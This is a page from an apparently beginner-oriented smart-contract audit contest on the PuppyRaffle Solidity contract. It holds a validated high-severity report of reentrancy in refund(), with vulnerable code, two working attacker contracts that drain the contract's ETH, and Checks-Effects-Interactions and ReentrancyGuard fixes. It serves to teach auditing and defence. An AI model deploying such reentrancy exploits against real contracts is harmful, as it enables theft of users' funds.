Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy in refund() Allows Complete Fund Drain

quanghoa27061998

Root + Impact

Description

  • A reentrancy vulnerability occurs when an external call is made before state changes are completed. An attacker can recursively call back into the vulnerable function before the first execution is finished, manipulating state in unintended ways.

  • The refund() function sends ETH via sendValue() BEFORE updating state (players[playerIndex] = address(0)). An attacker contract can re-enter refund() from its receive() fallback and drain the entire contract balance. The function at PuppyRaffle.sol:96-105 performs: (1) Check msg.sender == players[playerIndex], (2) sendValue(entranceFee) — external call, (3) players[playerIndex] = address(0) — state update. Since state is updated after the external call, the attacker re-enters and passes both require checks repeatedly.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
// @audit VULNERABILITY: External call BEFORE state update
payable(msg.sender).sendValue(entranceFee);
​
// @audit State update happens AFTER the external call
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood:

  • The reentrancy-eth detector identifies this pattern with high confidence

  • Attack is simple, requires no special permissions, executable in a single transaction

  • Low skill barrier — this is one of the most well-known attack patterns

Impact:

  • An attacker can drain 100% of funds from the contract by repeatedly calling the vulnerable function before the balance is updated

  • All player deposits and accumulated fees are at risk

  • Contract left with 0 balance, raffle becomes completely non-functional

Proof of Concept

How the attack works:

  1. An attacker deploys a malicious contract with a receive() function that re-calls refund()

  2. The attacker enters the raffle with one address, then calls refund() on PuppyRaffle, which sends ETH via sendValue() before updating players[playerIndex] to address(0)

  3. During the external call, the attacker's receive() re-enters refund() — players[playerIndex] still holds the attacker's address, so both require checks pass again

  4. This cycle repeats, draining funds from PuppyRaffle until the balance is exhausted or gas runs out

PoC code:

contract ReentrancyAttacker {
PuppyRaffle public puppyRaffle;
uint256 public entranceFee;
uint256 public playerIndex;
uint256 public attackCount;
​
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
entranceFee = _puppyRaffle.entranceFee();
}
​
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(playerIndex);
}
​
receive() external payable {
if (address(puppyRaffle).balance >= entranceFee) {
attackCount++;
puppyRaffle.refund(playerIndex);
}
}
}
​
// Test: forge test --match-test testExploit_Reentrancy_Refund -vvv
// Result: Contract drained from 5 ETH to 0 ETH. Attacker profits 4 ETH.

Expected outcome: The attacker's contract drains all ETH from PuppyRaffle beyond their single entrance fee, leaving the contract with 0 balance and all other players unable to receive refunds or prizes.

Recommended Mitigation

  • Apply the Checks-Effects-Interactions (CEI) pattern: update state before making external calls.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
// Effects BEFORE Interactions
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
​
// Interaction LAST
payable(msg.sender).sendValue(entranceFee);
}

  • Use OpenZeppelin's ReentrancyGuard (nonReentrant modifier).

  • Consider using pull-payment pattern instead of direct transfers.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 8 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!